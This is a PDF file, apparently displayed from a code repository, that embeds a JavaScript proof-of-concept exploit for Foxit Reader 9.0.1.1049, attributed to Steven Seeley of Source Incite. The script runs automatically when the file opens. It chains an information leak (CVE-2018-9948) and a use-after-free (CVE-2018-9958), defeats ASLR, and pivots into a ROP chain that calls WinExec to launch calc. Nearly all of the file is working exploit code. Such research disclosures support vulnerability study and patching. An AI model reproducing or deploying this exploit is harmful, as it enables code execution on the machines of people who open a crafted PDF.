211 lines
No EOL
5.8 KiB
Text
211 lines
No EOL
5.8 KiB
Text
%PDF
|
|
1 0 obj
|
|
<</Pages 1 0 R /OpenAction 2 0 R>>
|
|
2 0 obj
|
|
<</S /JavaScript /JS (
|
|
|
|
/*
|
|
Foxit Reader Remote Code Execution Exploit
|
|
==========================================
|
|
|
|
Written by: Steven Seeley (mr_me) of Source Incite
|
|
Date: 22/06/2018
|
|
Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html
|
|
Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
|
|
Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)
|
|
Tested on:
|
|
1. Windows 7 Ultimate x86 build 6.1.7601 sp1
|
|
2. Windows 10 Pro x86 v1803 build 10.0.17134
|
|
Vulnerabilities leveraged:
|
|
1. CVE-2018-9948
|
|
2. CVE-2018-9958
|
|
*/
|
|
|
|
var heap_ptr = 0;
|
|
var foxit_base = 0;
|
|
var pwn_array = [];
|
|
|
|
function prepare_heap(size){
|
|
/*
|
|
This function prepares the heap state between allocations
|
|
and frees to get a predictable memory address back.
|
|
*/
|
|
var arr = new Array(size);
|
|
for(var i = 0; i < size; i++){
|
|
arr[i] = this.addAnnot({type: "Text"});;
|
|
if (typeof arr[i] == "object"){
|
|
arr[i].destroy();
|
|
}
|
|
}
|
|
}
|
|
|
|
function gc() {
|
|
/*
|
|
This is a simple garbage collector, written by the notorious @saelo
|
|
Greetz, mi amigo.
|
|
*/
|
|
const maxMallocBytes = 128 * 0x100000;
|
|
for (var i = 0; i < 3; i++) {
|
|
var x = new ArrayBuffer(maxMallocBytes);
|
|
}
|
|
}
|
|
|
|
function alloc_at_leak(){
|
|
/*
|
|
This is the function that allocates at the leaked address
|
|
*/
|
|
for (var i = 0; i < 0x64; i++){
|
|
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
|
}
|
|
}
|
|
|
|
function control_memory(){
|
|
/*
|
|
This is the function that fills the memory address that we leaked
|
|
*/
|
|
for (var i = 0; i < 0x64; i++){
|
|
for (var j = 0; j < pwn_array[i].length; j++){
|
|
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
|
}
|
|
}
|
|
}
|
|
|
|
function leak_vtable(){
|
|
/*
|
|
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
|
|
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
|
|
Found by: bit from meepwn team
|
|
*/
|
|
|
|
// alloc
|
|
var a = this.addAnnot({type: "Text"});
|
|
|
|
// free
|
|
a.destroy();
|
|
gc();
|
|
|
|
// kinda defeat lfh randomization in win 10
|
|
prepare_heap(0x400);
|
|
|
|
// reclaim
|
|
var test = new ArrayBuffer(0x60);
|
|
var stolen = new Int32Array(test);
|
|
|
|
// leak the vtable
|
|
var leaked = stolen[0] & 0xffff0000;
|
|
|
|
// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
|
|
foxit_base = leaked - 0x01f50000;
|
|
}
|
|
|
|
function leak_heap_chunk(){
|
|
/*
|
|
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
|
|
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
|
|
Found by: bit from meepwn team
|
|
*/
|
|
|
|
// alloc
|
|
var a = this.addAnnot({type: "Text"});
|
|
|
|
// free
|
|
a.destroy();
|
|
|
|
// kinda defeat lfh randomization in win 10
|
|
prepare_heap(0x400);
|
|
|
|
// reclaim
|
|
var test = new ArrayBuffer(0x60);
|
|
var stolen = new Int32Array(test);
|
|
|
|
// alloc at the freed location
|
|
alloc_at_leak();
|
|
|
|
// leak a heap chunk of size 0x40
|
|
heap_ptr = stolen[1];
|
|
}
|
|
|
|
function reclaim(){
|
|
/*
|
|
This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.
|
|
All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
|
|
*/
|
|
|
|
var arr = new Array(0x10);
|
|
for (var i = 0; i < arr.length; i++) {
|
|
arr[i] = new ArrayBuffer(0x60);
|
|
var rop = new Int32Array(arr[i]);
|
|
|
|
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
|
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
|
rop[0x02] = 0x72727272; // junk
|
|
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
|
rop[0x04] = 0xffffffff; // ret of WinExec
|
|
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
|
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
|
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
|
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
|
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
|
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
|
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
|
rop[0x0c] = 0x636c6163; // calc
|
|
rop[0x0d] = 0x00000000; // adios, amigo
|
|
|
|
for (var j = 0x0e; j < rop.length; j++) {
|
|
rop[j] = 0x71727374;
|
|
}
|
|
}
|
|
}
|
|
|
|
function trigger_uaf(){
|
|
/*
|
|
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
|
|
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
|
|
Found by: Steven Seeley (mr_me) of Source Incite
|
|
*/
|
|
|
|
var that = this;
|
|
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
|
var arr = [1];
|
|
Object.defineProperties(arr,{
|
|
"0":{
|
|
get: function () {
|
|
|
|
// free
|
|
that.getAnnot(0, "uaf").destroy();
|
|
|
|
// reclaim freed memory
|
|
reclaim();
|
|
return 1;
|
|
}
|
|
}
|
|
});
|
|
|
|
// re-use
|
|
a.point = arr;
|
|
}
|
|
|
|
function main(){
|
|
|
|
// 1. Leak a heap chunk of size 0x40
|
|
leak_heap_chunk();
|
|
|
|
// 2. Leak vtable and calculate the base of Foxit Reader
|
|
leak_vtable();
|
|
|
|
// 3. Then fill the memory region from step 1 with a stack pivot
|
|
control_memory();
|
|
|
|
// 4. Trigger the uaf, reclaim the memory, pivot to rop and win
|
|
trigger_uaf();
|
|
}
|
|
|
|
if (app.platform == "WIN"){
|
|
if (app.isFoxit == "Foxit Reader"){
|
|
if (app.appFoxitVersion == "9.0.1.1049"){
|
|
main();
|
|
}
|
|
}
|
|
}
|
|
|
|
)>> trailer <</Root 1 0 R>> |